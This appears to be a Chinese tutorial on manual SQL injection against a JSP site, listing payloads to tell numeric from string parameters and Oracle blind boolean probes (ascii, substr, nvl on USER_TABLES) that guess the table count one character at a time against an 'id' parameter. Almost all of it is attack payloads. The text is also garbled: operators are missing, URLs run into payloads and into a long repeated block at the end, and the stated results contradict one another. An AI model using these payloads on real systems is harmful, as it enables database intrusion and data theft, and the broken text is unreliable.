JSP手工注入

 1、 判断注入类型（数字型还是字符型）
字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分）
And user>char(0)
And userhttp://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '1'='1
' And userchar(0) And '%25'='
' And userchar(0) And (' ')=('
') And userhttp://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97)
And str(98)

' And str(98)>str(97) And '1'='1
' And str(98)str(97) And '%25'='

　

' And userhttp://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)str(97) And (' ')=('
') And str(98)

出现正常的页面：
And USER>CHR(0)
And USER

2、 猜解表数量和表名

数据库数量为3：
And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)

And UNISTR(1)>UNISTR(0)

以下为猜解数据表数量
数据表第一位为：1

And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))

And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))

数据表第二位为：3
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

数据表第三位为：1
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117http://www.test.net/index_kaoyan_view.jsp?id=117